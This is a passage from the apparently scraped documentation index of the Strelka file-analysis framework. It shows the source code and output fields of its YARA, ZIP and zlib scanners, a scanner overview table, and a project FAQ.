self.event[\"tags\"].extend(match.tags)\n\n # Extract hex representation if configured to store offsets.\n if self.store_offset and self.offset_meta_key:\n if match.meta.get(self.offset_meta_key):\n for string_data in match.strings:\n for instance in string_data.instances:\n offset = instance.offset\n matched_string = instance.matched_data\n self.extract_match_hex(\n match.rule,\n offset,\n matched_string,\n data,\n self.offset_padding,\n )\n\n # Append meta information if configured to do so\n if self.show_all_meta:\n for k, v in match.meta.items():\n self.event[\"meta\"].append(\n {\"rule\": match.rule, \"identifier\": k, \"value\": v}\n )\n\n # De-duplicate tags.\n self.event[\"tags\"] = list(set(self.event[\"tags\"]))\n\n def load_yara_rules(self, options):\n \"\"\"Loads YARA rules based on the provided path.\n\n Args:\n options (dict): Configuration options specifying the\n location of YARA rules.\n\n Loads a compiled YARA ruleset or compiles YARA rules either\n from a specified file or from a directory. If there's an issue\n with compilation, flags are set to indicate any\n compilation / loading errors.\n \"\"\"\n # Retrieve location of YARA rules.\n location = options.get(\"location\", \"/etc/strelka/yara/\")\n compiled = options.get(\"compiled\", {\"enabled\": False})\n\n try:\n # Load compiled YARA rules from a file.\n if compiled.get(\"enabled\", False):\n self.compiled_yara = yara.load(\n os.path.join(location, compiled.get(\"filename\", \"rules.compiled\"))\n )\n except yara.Error as e:\n self.flags.append(f\"compiled_load_error_{e}\")\n self.warn_user = True\n\n try:\n # Compile YARA rules from a directory.\n if not self.compiled_yara:\n if os.path.isdir(location):\n globbed_yara_paths = glob.iglob(\n f\"{location}/**/*.yar*\", recursive=True\n )\n if not globbed_yara_paths:\n self.flags.append(\"yara_rules_not_found\")\n yara_filepaths = {\n f\"namespace_{i}\": entry\n for (i, entry) in enumerate(globbed_yara_paths)\n }\n self.compiled_yara = yara.compile(filepaths=yara_filepaths)\n # Compile YARA rules from a single file.\n elif os.path.isfile(location):\n self.compiled_yara = yara.compile(filepath=location)\n else:\n self.flags.append(\"yara_location_not_found\")\n self.warn_user = True\n self.warn_message = \"YARA Location Not Found\"\n\n except yara.SyntaxError as e:\n self.flags.append(f\"compiling_error_syntax_{e}\")\n self.warn_user = True\n self.warn_message = str(e)\n\n except yara.Error as e:\n self.flags.append(f\"compiling_error_general_{e}\")\n self.warn_user = True\n self.warn_message = str(e)\n\n # Set the total rules loaded.\n if self.compiled_yara:\n self.rules_loaded = len(list(self.compiled_yara))\n\n if not self.compiled_yara:\n if not self.warned_user and self.warn_user:\n logging.warning(\n \"\\n\"\n \"*************************************************\\n\"\n \"* WARNING: YARA File Loading Issue Detected *\\n\"\n \"*************************************************\\n\"\n \"There was an issue loading the compiled YARA file. Please check that all YARA rules can be\\n\"\n \"successfully compiled. Additionally, verify the 'ScanYara' configuration in Backend.yaml to\\n\"\n \"ensure the targeted path is correct. This issue needs to be resolved for proper scanning\\n\"\n \"functionality.\\n\"\n \"\\n\"\n f\"Error: {self.warn_message}\\n\"\n \"*************************************************\\n\"\n )\n self.warned_user = True\n\n def extract_match_hex(self, rule, offset, matched_string, data, offset_padding=32):\n \"\"\"\n Extracts a hex dump of a matched string in the data, with padding.\n\n This function retrieves a hex dump of the specified matched string within\n the data. It also provides additional context around the matched string\n by adding padding before and after the match. The total padding (i.e., the\n sum of before and after) is defined by the `offset_padding` parameter, which\n is split evenly on either side of the matched string. If the padding would\n go beyond the start or end of the data, it's adjusted to fit within the data's\n bounds.\n\n Args:\n - rule (str): Name of the YARA rule that triggered the match.\n - offset (int): Start offset of the matched string in the data.\n - matched_string (str): The actual string in the data that matched the YARA rule.\n - data (bytes): The file data being scanned.\n - offset_padding (int, optional): Total number of bytes to include as padding\n around the matched string in the hex dump. Defaults to 32.\n\n Returns:\n - Appends a dictionary containing the rule name and hex dump to self.event[\"hex\"].\n \"\"\"\n\n # Calculate half of the total padding to distribute evenly on either side of the match.\n # This is to add context to the match. It's recommended to keep this low (16 bytes)\n half_padding = offset_padding // 2\n\n # Determine the starting and ending offsets for the hex dump, ensuring we stay within data bounds.\n start_offset = max(offset - half_padding, 0)\n end_offset = min(offset + len(matched_string) + half_padding, len(data))\n\n # Create a list to store the hex representation lines\n hex_lines = []\n\n # Loop through the specified data range in 16-byte chunks to generate the hex dump\n for i in range(start_offset, end_offset, 16):\n # If this chunk hasn't been processed before, generate its hex and ASCII representations\n if i not in self.hex_dump_cache:\n chunk = data[i : i + 16]\n\n # Convert each byte in the chunk to its hexadecimal representation and join them with spaces.\n # E.g., a chunk [65, 66, 67] would become the string \"41 42 43\"\n hex_values = \" \".join([f\"{byte:02x}\" for byte in chunk])\n\n # Generate an ASCII representation for each byte in the chunk:\n # - Use the character itself if it's a printable ASCII character (between 32 and 126 inclusive).\n # - Replace non-printable characters with a period ('.').\n # E.g., a chunk [65, 66, 0] would become the string \"AB.\"\n ascii_values = \"\".join(\n [chr(byte) if 32 <= byte <= 126 else \".\" for byte in chunk]\n )\n\n # Cache the generated hex and ASCII values to avoid redundant computation in the future\n self.hex_dump_cache[i] = (hex_values, ascii_values)\n else:\n hex_values, ascii_values = self.hex_dump_cache[i]\n\n # Generate a formatted string for this chunk and add to our hex_lines list\n hex_lines.append(f\"{i:08x} {hex_values:<47} {ascii_values}\")\n\n # Append the generated hex dump and rule information to the event\n self.event[\"hex\"].append({\"rule\": rule, \"dump\": hex_lines})\ninit()","text":"Initializes the ScanYara class.
Sets up the initial state for the scanner by ensuring that the compiled YARA rules are not set.
Source code instrelka/src/python/strelka/scanners/scan_yara.py def init(self):\n \"\"\"Initializes the ScanYara class.\n\n Sets up the initial state for the scanner by ensuring that\n the compiled YARA rules are not set.\n \"\"\"\n self.compiled_yara = None\n self.loaded_configs = False\n self.rules_loaded = 0\n\n self.warn_user = False\n self.warned_user = False\n self.warn_message = \"\"\nscan(data, file, options, expire_at)","text":"Scans the provided data with YARA rules.
Parameters:
Name Type Description Defaultdata bytes The data to scan.
requiredfile File An object representing the file being scanned.
requiredoptions dict Configuration options for the scan.
requiredexpire_at int Expiration time for the scan.
requiredPopulates self.event with matches, tags, meta, and hex data based on YARA rule matches.
Source code instrelka/src/python/strelka/scanners/scan_yara.py def scan(self, data, file, options, expire_at):\n \"\"\"Scans the provided data with YARA rules.\n\n Args:\n data (bytes): The data to scan.\n file (File): An object representing the file being scanned.\n options (dict): Configuration options for the scan.\n expire_at (int): Expiration time for the scan.\n\n Populates self.event with matches, tags, meta, and hex data\n based on YARA rule matches.\n \"\"\"\n # Load YARA rules if not already loaded.\n # This prevents loading YARA rules on every execution.\n if not self.compiled_yara:\n self.load_yara_rules(options)\n if not self.compiled_yara:\n self.flags.append(\"no_rules_loaded\")\n\n # Set the total rules loaded\n self.event[\"rules_loaded\"] = self.rules_loaded\n\n # Load YARA configuration options only once.\n # This prevents loading the configs on every execution.\n if not self.loaded_configs:\n self.categories = options.get(\"categories\", {})\n self.category_key = options.get(\"category_key\", \"\")\n self.meta_fields = options.get(\"meta_fields\", [])\n self.show_all_meta = options.get(\"show_all_meta\", False)\n self.store_offset = options.get(\"store_offset\", False)\n self.offset_meta_key = options.get(\"offset_meta_key\", \"\")\n self.offset_padding = options.get(\"offset_padding\", 32)\n self.loaded_configs = True\n\n # Initialize the event data structure.\n self.hex_dump_cache = {}\n self.event[\"matches\"] = []\n self.event[\"tags\"] = []\n self.event[\"meta\"] = []\n self.event[\"hex\"] = []\n\n # Match the data against the YARA rules.\n if self.compiled_yara:\n yara_matches = self.compiled_yara.match(data=data)\n for match in yara_matches:\n # add the rule and ruleset name to the category meta\n rule = {\n \"name\": match.rule,\n \"ruleset\": match.namespace,\n }\n # include meta if its in the meta_fields list\n for k, v in match.meta.items():\n if k.lower() in self.meta_fields:\n rule.update({k.lower(): v})\n for category, params in self.categories.items():\n if not self.event.get(category):\n self.event[category] = []\n # check if the category matches the category_key\n if category in match.meta.get(self.category_key, \"\").lower():\n # show meta for specific category if enabled\n if params.get(\"show_meta\", False):\n self.event[category].append(rule)\n else:\n self.event[category].append(match.rule)\n # show meta for specific tag if present\n # if category in list(map(str.lower, match.tags)):\n # self.event[category].append(rule)\n\n # Append rule matches and update tags.\n self.event[\"matches\"].append(match.rule)\n self.event[\"tags\"].extend(match.tags)\n\n # Extract hex representation if configured to store offsets.\n if self.store_offset and self.offset_meta_key:\n if match.meta.get(self.offset_meta_key):\n for string_data in match.strings:\n for instance in string_data.instances:\n offset = instance.offset\n matched_string = instance.matched_data\n self.extract_match_hex(\n match.rule,\n offset,\n matched_string,\n data,\n self.offset_padding,\n )\n\n # Append meta information if configured to do so\n if self.show_all_meta:\n for k, v in match.meta.items():\n self.event[\"meta\"].append(\n {\"rule\": match.rule, \"identifier\": k, \"value\": v}\n )\n\n # De-duplicate tags.\n self.event[\"tags\"] = list(set(self.event[\"tags\"]))\nload_yara_rules(options)","text":"Loads YARA rules based on the provided path.
Parameters:
Name Type Description Defaultoptions dict Configuration options specifying the
requiredLoads a compiled YARA ruleset or compiles YARA rules either from a specified file or from a directory. If there's an issue with compilation, flags are set to indicate any compilation / loading errors.
Source code instrelka/src/python/strelka/scanners/scan_yara.py def load_yara_rules(self, options):\n \"\"\"Loads YARA rules based on the provided path.\n\n Args:\n options (dict): Configuration options specifying the\n location of YARA rules.\n\n Loads a compiled YARA ruleset or compiles YARA rules either\n from a specified file or from a directory. If there's an issue\n with compilation, flags are set to indicate any\n compilation / loading errors.\n \"\"\"\n # Retrieve location of YARA rules.\n location = options.get(\"location\", \"/etc/strelka/yara/\")\n compiled = options.get(\"compiled\", {\"enabled\": False})\n\n try:\n # Load compiled YARA rules from a file.\n if compiled.get(\"enabled\", False):\n self.compiled_yara = yara.load(\n os.path.join(location, compiled.get(\"filename\", \"rules.compiled\"))\n )\n except yara.Error as e:\n self.flags.append(f\"compiled_load_error_{e}\")\n self.warn_user = True\n\n try:\n # Compile YARA rules from a directory.\n if not self.compiled_yara:\n if os.path.isdir(location):\n globbed_yara_paths = glob.iglob(\n f\"{location}/**/*.yar*\", recursive=True\n )\n if not globbed_yara_paths:\n self.flags.append(\"yara_rules_not_found\")\n yara_filepaths = {\n f\"namespace_{i}\": entry\n for (i, entry) in enumerate(globbed_yara_paths)\n }\n self.compiled_yara = yara.compile(filepaths=yara_filepaths)\n # Compile YARA rules from a single file.\n elif os.path.isfile(location):\n self.compiled_yara = yara.compile(filepath=location)\n else:\n self.flags.append(\"yara_location_not_found\")\n self.warn_user = True\n self.warn_message = \"YARA Location Not Found\"\n\n except yara.SyntaxError as e:\n self.flags.append(f\"compiling_error_syntax_{e}\")\n self.warn_user = True\n self.warn_message = str(e)\n\n except yara.Error as e:\n self.flags.append(f\"compiling_error_general_{e}\")\n self.warn_user = True\n self.warn_message = str(e)\n\n # Set the total rules loaded.\n if self.compiled_yara:\n self.rules_loaded = len(list(self.compiled_yara))\n\n if not self.compiled_yara:\n if not self.warned_user and self.warn_user:\n logging.warning(\n \"\\n\"\n \"*************************************************\\n\"\n \"* WARNING: YARA File Loading Issue Detected *\\n\"\n \"*************************************************\\n\"\n \"There was an issue loading the compiled YARA file. Please check that all YARA rules can be\\n\"\n \"successfully compiled. Additionally, verify the 'ScanYara' configuration in Backend.yaml to\\n\"\n \"ensure the targeted path is correct. This issue needs to be resolved for proper scanning\\n\"\n \"functionality.\\n\"\n \"\\n\"\n f\"Error: {self.warn_message}\\n\"\n \"*************************************************\\n\"\n )\n self.warned_user = True\nextract_match_hex(rule, offset, matched_string, data, offset_padding=32)","text":"Extracts a hex dump of a matched string in the data, with padding.
This function retrieves a hex dump of the specified matched string within the data. It also provides additional context around the matched string by adding padding before and after the match. The total padding (i.e., the sum of before and after) is defined by the offset_padding parameter, which is split evenly on either side of the matched string. If the padding would go beyond the start or end of the data, it's adjusted to fit within the data's bounds.
Args: - rule (str): Name of the YARA rule that triggered the match. - offset (int): Start offset of the matched string in the data. - matched_string (str): The actual string in the data that matched the YARA rule. - data (bytes): The file data being scanned. - offset_padding (int, optional): Total number of bytes to include as padding around the matched string in the hex dump. Defaults to 32.
Returns: - Appends a dictionary containing the rule name and hex dump to self.event[\"hex\"].
Source code instrelka/src/python/strelka/scanners/scan_yara.py def extract_match_hex(self, rule, offset, matched_string, data, offset_padding=32):\n \"\"\"\n Extracts a hex dump of a matched string in the data, with padding.\n\n This function retrieves a hex dump of the specified matched string within\n the data. It also provides additional context around the matched string\n by adding padding before and after the match. The total padding (i.e., the\n sum of before and after) is defined by the `offset_padding` parameter, which\n is split evenly on either side of the matched string. If the padding would\n go beyond the start or end of the data, it's adjusted to fit within the data's\n bounds.\n\n Args:\n - rule (str): Name of the YARA rule that triggered the match.\n - offset (int): Start offset of the matched string in the data.\n - matched_string (str): The actual string in the data that matched the YARA rule.\n - data (bytes): The file data being scanned.\n - offset_padding (int, optional): Total number of bytes to include as padding\n around the matched string in the hex dump. Defaults to 32.\n\n Returns:\n - Appends a dictionary containing the rule name and hex dump to self.event[\"hex\"].\n \"\"\"\n\n # Calculate half of the total padding to distribute evenly on either side of the match.\n # This is to add context to the match. It's recommended to keep this low (16 bytes)\n half_padding = offset_padding // 2\n\n # Determine the starting and ending offsets for the hex dump, ensuring we stay within data bounds.\n start_offset = max(offset - half_padding, 0)\n end_offset = min(offset + len(matched_string) + half_padding, len(data))\n\n # Create a list to store the hex representation lines\n hex_lines = []\n\n # Loop through the specified data range in 16-byte chunks to generate the hex dump\n for i in range(start_offset, end_offset, 16):\n # If this chunk hasn't been processed before, generate its hex and ASCII representations\n if i not in self.hex_dump_cache:\n chunk = data[i : i + 16]\n\n # Convert each byte in the chunk to its hexadecimal representation and join them with spaces.\n # E.g., a chunk [65, 66, 67] would become the string \"41 42 43\"\n hex_values = \" \".join([f\"{byte:02x}\" for byte in chunk])\n\n # Generate an ASCII representation for each byte in the chunk:\n # - Use the character itself if it's a printable ASCII character (between 32 and 126 inclusive).\n # - Replace non-printable characters with a period ('.').\n # E.g., a chunk [65, 66, 0] would become the string \"AB.\"\n ascii_values = \"\".join(\n [chr(byte) if 32 <= byte <= 126 else \".\" for byte in chunk]\n )\n\n # Cache the generated hex and ASCII values to avoid redundant computation in the future\n self.hex_dump_cache[i] = (hex_values, ascii_values)\n else:\n hex_values, ascii_values = self.hex_dump_cache[i]\n\n # Generate a formatted string for this chunk and add to our hex_lines list\n hex_lines.append(f\"{i:08x} {hex_values:<47} {ascii_values}\")\n\n # Append the generated hex dump and rule information to the event\n self.event[\"hex\"].append({\"rule\": rule, \"dump\": hex_lines})\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanYara.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude*"},{"location":"Scanners/ScanYara.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typecollection list detection list detection.author str detection.name str detection.ruleset str elapsed str flags list hex list information list matches list meta str meta list meta.identifier str meta.rule str meta.value str meta.value bool rules_loaded int tags list"},{"location":"Scanners/ScanYara.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"hex\": [],\n \"matches\": [\"test\", \"hex_extraction_test\", \"meta_test\"],\n \"meta\": 0.001,\n \"rules_loaded\": 3,\n \"tags\": [],\n }\nExtracts files from ZIP archives.
Attributes:
Name Type Descriptionpasswords List of passwords to use when bruteforcing encrypted files.
Optionslimit: Maximum number of files to extract. Defaults to 1000. password_file: Location of passwords file for zip archives. Defaults to /etc/strelka/passwords.dat.
Source code instrelka/src/python/strelka/scanners/scan_zip.py class ScanZip(strelka.Scanner):\n \"\"\"Extracts files from ZIP archives.\n\n Attributes:\n passwords: List of passwords to use when bruteforcing encrypted files.\n\n Options:\n limit: Maximum number of files to extract.\n Defaults to 1000.\n password_file: Location of passwords file for zip archives.\n Defaults to /etc/strelka/passwords.dat.\n \"\"\"\n\n def init(self):\n self.passwords = []\n\n def scan(self, data, file, options, expire_at):\n file_limit = options.get(\"limit\", 100)\n size_limit = options.get(\"size_limit\", 250000000)\n limit_metadata = options.get(\"limit_metadata\", True)\n crack_pws = options.get(\"crack_pws\", False)\n log_pws = options.get(\"log_pws\", True)\n password_file = options.get(\"password_file\", \"/etc/strelka/passwords.dat\")\n\n # Gather count and list of files to be extracted\n self.event[\"total\"] = {\"files\": 0, \"extracted\": 0}\n self.event[\"files\"] = []\n\n # Temporary top level compression metrics\n compress_size_total = 0\n file_size_total = 0\n\n if crack_pws:\n if not self.passwords:\n if os.path.isfile(password_file):\n with open(password_file, \"rb\") as f:\n for line in f:\n self.passwords.append(line.strip())\n\n if (\n len(self.passwords) == 0\n and \"no_passwords_loaded\" not in self.flags\n ):\n self.flags.append(\"no_passwords_loaded\")\n else:\n if \"password_file_missing\" not in self.flags:\n self.flags.append(\"password_file_missing\")\n\n self.passwords.insert(0, None)\n\n with io.BytesIO(data) as zip_io:\n try:\n with pyzipper.AESZipFile(zip_io) as zip_obj:\n filelist = zip_obj.filelist\n\n # Count the file entries, in case the function encounters an unhandled exception\n for compressed_file in filelist:\n if compressed_file.is_dir():\n continue\n self.event[\"total\"][\"files\"] += 1\n\n # For each file in zip, gather metadata and pass extracted file back to Strelka\n for compressed_file in filelist:\n if compressed_file.is_dir():\n continue\n\n extract = True\n extracted = False\n compression_rate = 0\n\n if compressed_file.file_size > size_limit:\n extract = False\n if \"file_size_limit\" not in self.flags:\n self.flags.append(\"file_size_limit\")\n\n if self.event[\"total\"][\"extracted\"] >= file_limit:\n extract = False\n if \"file_count_limit\" not in self.flags:\n self.flags.append(\"file_count_limit\")\n\n if (\n compressed_file.file_size > 0\n and compressed_file.compress_size > 0\n ):\n compress_size_total += compressed_file.compress_size\n file_size_total += compressed_file.file_size\n\n size_difference = (\n compressed_file.file_size\n - compressed_file.compress_size\n )\n compression_rate = (\n size_difference * 100.0\n ) / compressed_file.file_size\n\n try:\n extract_data = b\"\"\n zinfo = zip_obj.getinfo(compressed_file.filename)\n\n if zinfo.flag_bits & 0x1:\n if \"encrypted\" not in self.flags:\n self.flags.append(\"encrypted\")\n\n for password in self.passwords:\n try:\n if extract:\n extract_data = zip_obj.read(\n compressed_file.filename, password\n )\n if extract_data:\n self.passwords.insert(\n 0,\n self.passwords.pop(\n self.passwords.index(password)\n ),\n )\n if password and crack_pws and log_pws:\n if \"password\" not in self.event.keys():\n self.event[\"password\"] = []\n if password.decode(\n \"utf-8\"\n ) not in self.event.get(\"password\", []):\n self.event[\"password\"].append(\n password.decode(\"utf-8\")\n )\n break\n except RuntimeError:\n pass\n\n # If there's data in it, and no limits have been met, emit the file\n if extract_data and extract:\n # Send extracted file back to Strelka\n self.emit_file(\n extract_data, name=compressed_file.filename\n )\n extracted = True\n\n if not (\n limit_metadata\n and self.event[\"total\"][\"extracted\"] >= file_limit\n ):\n self.event[\"files\"].append(\n {\n \"file_name\": compressed_file.filename,\n \"file_size\": compressed_file.file_size,\n \"compression_size\": compressed_file.compress_size,\n \"compression_rate\": round(compression_rate, 2),\n \"extracted\": extracted,\n \"encrypted\": (\n True\n if zinfo.flag_bits & 0x1 == 1\n else False\n ),\n }\n )\n\n if extracted:\n self.event[\"total\"][\"extracted\"] += 1\n\n except NotImplementedError:\n self.flags.append(\"unsupported_compression\")\n except RuntimeError:\n self.flags.append(\"runtime_error\")\n except ValueError:\n self.flags.append(\"value_error\")\n except zlib.error:\n self.flags.append(\"zlib_error\")\n except pyzipper.BadZipFile:\n self.flags.append(\"bad_zip_file\")\n\n # Top level compression metric\n if file_size_total > 0 and compress_size_total > 0:\n size_difference_total = (\n file_size_total - compress_size_total\n )\n self.event[\"compression_rate\"] = round(\n (size_difference_total * 100.0) / file_size_total, 2\n )\n else:\n self.event[\"compression_rate\"] = 0.00\n\n except pyzipper.BadZipFile:\n self.flags.append(\"bad_zip_file\")\n except ValueError:\n self.flags.append(\"value_error\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanZip.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/java-archive application/vnd.openxmlformats-officedocument.presentationml.presentation application/vnd.openxmlformats-officedocument.spreadsheetml.sheet application/vnd.openxmlformats-officedocument.wordprocessingml.document application/vnd.openxmlformats-officedocument application/zip ooxml_file zip_file"},{"location":"Scanners/ScanZip.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typecompression_rate float elapsed str files list files.compression_rate int files.compression_rate float files.compression_size int files.encrypted bool files.extracted bool files.file_name str files.file_size int flags list password list total dict total.extracted int total.files int"},{"location":"Scanners/ScanZip.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"total\": {\"files\": 4, \"extracted\": 4},\n \"files\": [\n {\n \"file_name\": \"hidden/lorem-hidden.txt\",\n \"file_size\": 4015,\n \"compression_size\": 1425,\n \"compression_rate\": 64.51,\n \"extracted\": True,\n \"encrypted\": False,\n },\n {\n \"file_name\": \"hidden/lorem-readonly.txt\",\n \"file_size\": 4015,\n \"compression_size\": 1425,\n \"compression_rate\": 64.51,\n \"extracted\": True,\n \"encrypted\": False,\n },\n {\n \"file_name\": \"hidden/lorem.txt\",\n \"file_size\": 4015,\n \"compression_size\": 1425,\n \"compression_rate\": 64.51,\n \"extracted\": True,\n \"encrypted\": False,\n },\n {\n \"file_name\": \"lorem.txt\",\n \"file_size\": 4015,\n \"compression_size\": 1425,\n \"compression_rate\": 64.51,\n \"extracted\": True,\n \"encrypted\": False,\n },\n ],\n \"compression_rate\": 64.51,\n }\nDecompresses zlib files.
Source code instrelka/src/python/strelka/scanners/scan_zlib.py class ScanZlib(strelka.Scanner):\n \"\"\"Decompresses zlib files.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n try:\n # Decompress file and collect metadata\n decompressed = zlib.decompress(data)\n self.event[\"size\"] = len(decompressed)\n\n # Send extracted file back to Strelka\n self.emit_file(decompressed, name=file.name)\n except zlib.error:\n self.flags.append(\n f\"{self.__class__.__name__} Exception: Invalid compression or decompression data.\"\n )\n return\n except Exception as e:\n self.flags.append(f\"{self.__class__.__name__} Exception: {str(e)[:50]}\")\n return\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanZlib.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/zlib zlib_file"},{"location":"Scanners/ScanZlib.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Failure
No fields to display. The test file may not exist or could not be processed.
"},{"location":"Scanners/ScanZlib.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
Failure
Test file not found for scanner zlib
"},{"location":"Scanners/ScannerOverview.html","title":"Strelka Scanner Overview","text":"Strelka is a scalable file analysis framework that allows for the rapid analysis of files through a distributed system of scanners. Each scanner within Strelka has a specific role, ranging from extracting simple file metadata to executing complex detections and analyses. This overview provides insights into the capabilities and functionalities of each scanner within the Strelka ecosystem.
"},{"location":"Scanners/ScannerOverview.html#deployed-scanners","title":"Deployed Scanners","text":"Scanner Name IOC Support Image Thumbnails File Emission Tests Created Malware Scanner Extended Docs ScanBatch ScanBmpEof ScanBzip2 ScanDmg ScanDocx ScanDonut ScanEmail ScanEncryptedDoc ScanEncryptedZip ScanEntropy ScanExiftool ScanFooter ScanGif ScanGzip ScanHash ScanHeader ScanHtml ScanIqy ScanIso ScanJarManifest ScanJavascript ScanJnlp ScanJpeg ScanJson ScanLibarchive ScanLnk ScanLsb ScanLzma ScanMacho ScanManifest ScanMsi ScanOcr ScanOle ScanOnenote ScanPcap ScanPdf ScanPe ScanPgp ScanPhp ScanPkcs7 ScanPlist ScanPngEof ScanQr ScanRar ScanRpm ScanRtf ScanSevenZip ScanSwf ScanTar ScanTlsh ScanTnef ScanTranscode ScanUdf ScanUpx ScanUrl ScanVb ScanVba ScanVhd ScanVsto ScanX509 ScanXl4ma ScanXml ScanYara ScanZip ScanZlib"},{"location":"Scanners/ScannerOverview.html#not-deployed-scanners","title":"Not Deployed Scanners","text":"Scanner Name IOC Support Image Thumbnails File Emission Tests Created Malware Scanner Extended Docs ScanAntiword ScanBase64 ScanBase64Pe ScanCcn ScanCuckoo ScanDelay ScanElf ScanException ScanFalconSandbox ScanIni ScanNf ScanSave ScanStrings"},{"location":"Strelka/StrelkaFaq.html","title":"FAQ","text":""},{"location":"Strelka/StrelkaFaq.html#frequently-asked-questions","title":"Frequently Asked Questions","text":""},{"location":"Strelka/StrelkaFaq.html#who-is-strelka","title":"\"Who is Strelka?\"","text":"Strelka is one of the second generation Soviet space dogs to achieve orbital spaceflight -- the name is an homage to Lockheed Martin's Laika BOSS, one of the first public projects of this type and from which Strelka's core design is based.
"},{"location":"Strelka/StrelkaFaq.html#why-would-i-want-a-file-scanning-system","title":"\"Why would I want a file scanning system?\"","text":"File metadata is an additional pillar of data (alongside network, endpoint, authentication, and cloud) that is effective in enabling threat hunting, threat detection, and incident response and can help event analysts and incident responders bridge visibility gaps in their environment. This type of system is especially useful for identifying threat actors during KC3 and KC7. For examples of what Strelka can do, please read the use cases.
"},{"location":"Strelka/StrelkaFaq.html#should-i-switch-from-my-current-file-scanning-system-to-strelka","title":"\"Should I switch from my current file scanning system to Strelka?\"","text":"It depends -- we recommend reviewing the features of each and choosing the most appropriate tool for your needs. We believe the most significant motivating factors for switching to Strelka are: * More scanners (40+ at release) and file types (60+ at release) than related projects * Modern codebase (Go and Python 3.9+) * Server components run in containers for ease and flexibility of deployment * Performant, OS-native client applications compatible with Windows, Mac, and Linux * OS-native client applications for Windows, Mac, and Linux * Built using libraries and formats that allow cross-platform, cross-language support
"},{"location":"Strelka/StrelkaFaq.html#are-strelkas-scanners-compatible-with-laika-boss-file-scanning-framework-or-assemblyline","title":"\"Are Strelka's scanners compatible with Laika BOSS, File Scanning Framework, or Assemblyline?\"","text":"Due to differences in design, Strelka's scanners are not directly compatible with Laika BOSS, File Scanning Framework, or Assemblyline. With some effort, most scanners can likely be ported to the other projects.
"},{"location":"Strelka/StrelkaFaq.html#is-strelka-an-intrusion-detection-system-ids","title":"\"Is Strelka an intrusion detection system (IDS)?\"","text":"Strelka shouldn't be thought of as an IDS, but it can be used for threat detection through YARA rule matching and downstream metadata interpretation. Strelka's design follows the philosophy established by other popular metadata collection systems (Bro, Sysmon, Volatility, etc.): it extracts data and leaves the decision-making up to the user.
"},{"location":"Strelka/StrelkaFaq.html#does-it-work-at-scale","title":"\"Does it work at scale?\"","text":"Everyone has their own definition of \"at scale,\" but we have been using Strelka and systems like it to scan up to 250 million files each day for over a year and have never reached a point where the system could not scale to our needs -- as file volume and diversity increases, horizontally scaling the system should allow you to scan any number of files.
"},{"location":"Strelka/StrelkaFaq.html#doesnt-this-use-a-lot-of-bandwidth","title":"\"Doesn't this use a lot of bandwidth?\"","text":"Maybe! Strelka's client applications provide opportunities for users to use as much or as little bandwidth as they want.
"},{"location":"Strelka/StrelkaFaq.html#should-i-run-my-strelka-cluster-on-my-brosuricata-network-sensor","title":"\"Should I run my Strelka cluster on my Bro/Suricata network sensor?\"","text":"No! Strelka clusters run CPU-intensive processes that will negatively impact system-critical applications like Bro and Suricata. If you want to integrate a network sensor with Strelka, then use the [filestream] client application. This utility is capable of sending millions of files per day from a single network sensor to a Strelka cluster without impacting system-critical applications.
Please file an issue or contact the project team at TTS-CFC-OpenSource@target.com.
